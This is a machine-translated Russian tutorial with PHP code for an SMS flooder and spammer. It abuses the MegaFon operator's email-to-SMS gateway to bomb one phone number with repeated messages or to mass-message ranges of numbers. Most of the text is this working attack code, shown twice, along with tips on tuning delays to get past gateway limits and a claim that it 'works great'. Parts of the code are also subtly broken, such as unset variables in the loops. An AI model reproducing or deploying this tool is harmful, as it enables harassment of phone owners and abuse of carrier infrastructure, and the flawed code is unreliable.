This page has been robot translated, sorry for typos if any. Original content here.

We write Sms flooder or spammer (mail2sms)

mail2sms
Having found either non-working links or non-working scripts I decided to roll flooding. The victim was the Russian MEGAFON. Let's take it as an example.

Flud

First, let's look at what flooding. In my understanding, a flooder is a program or script that sends information to a given recipient in a certain amount (often in a very large amount).

And so, what do we need to write such a flooder? Almost nothing:
  • hosting with PHP support
  • brain + straight arms
  • ability to juzat google
For flood, we will use the SMS gateway of this operator.
SMS gateway is an interface that allows you to send and receive SMS messages without using a mobile phone. SMS messages are converted to emails, HTTP requests and vice versa. A message sent through a similar gateway may be free for the sender; however, technical limitations are possible, such as limiting the number of messages sent from one computer per day.

As is clear from the above, advanced programmers will not learn anything new for themselves.
So, you chose hosting, with all sorted out ...
Create an index.php page with the following content:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
As is clear from the code, this will be a page with a submit form that refers to our script, which will be called sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
We start to disassemble the code.
At the beginning of the script, we assign variables.
$ from - any mailbox from which messages will come.
$ to - the addressee, that is, the one we flood boom. The value of the variable is taken from the index.php form and is coordinated with @ sms.mgsm.ru. What is this @ sms.mgsm.ru? This is the SMS gateway operator MEGFON.
$ msg - variable that contains the text that will be sent.
Next comes the cycle, the task of which is sending the required number of messages with a sleep pause.
The mail function is just responsible for forwarding mail to the gateway.

Now about the sleep function. Why is it needed?
If we do not enter it, the server will not react to the required number of SMS and send them in the amount of 1-2 pieces. Here in order that the server had time to react and this function is necessary. The number of seconds of delay is written in brackets. This figure is selected by the method of sorting different variants. Its value may depend on the workload of the gateway and the speed of your Internet. So experiment here. The script was checked with parameter 7 .

We check the script. Go to our form, enter the required data and press the button ...
Now it is worth considering that the script is not executed immediately , but gradually, waiting for the pause you set after sending each message.

SPAM

What is spam? I understand spam as a mass mailing of some information to different people for different purposes. What we need to organize spam
  • everything listed for flooder
It is necessary to alter the form a little. I will give only a fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
And a little modified code sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
I think everything is clear. We move in a predetermined range of numbers and send them an SMS at a specified interval. With this method:
[+] works without base. on face savings and traffic
[+] in contrast to the base, you also get into the newbies of the network, which are not yet in the databases (paid and free)
[-] not all sent SMS will reach for the reason that such numbers may not be. But it is possible to select such ranges that the maximum probability of SMS delivery is.

What to say in conclusion ...
This material does not call for your action and is for informational purposes only. I am the author of the article, and with copy-paste the link here is required.
With a little desire and due skill, the script is modified into a spammer or adapts to any other operator with a working SMS gateway. We needed to be able to google to search for gateways. For the lazy - a large list of gateways . But this may be the next article.

PS Flooder recently checked. Everything works great. If it does not work, there are several options. One - crooked hands. The second is that your hosting does not hold the mail function. The third is that the operator has changed the gateway or the gateway is overloaded.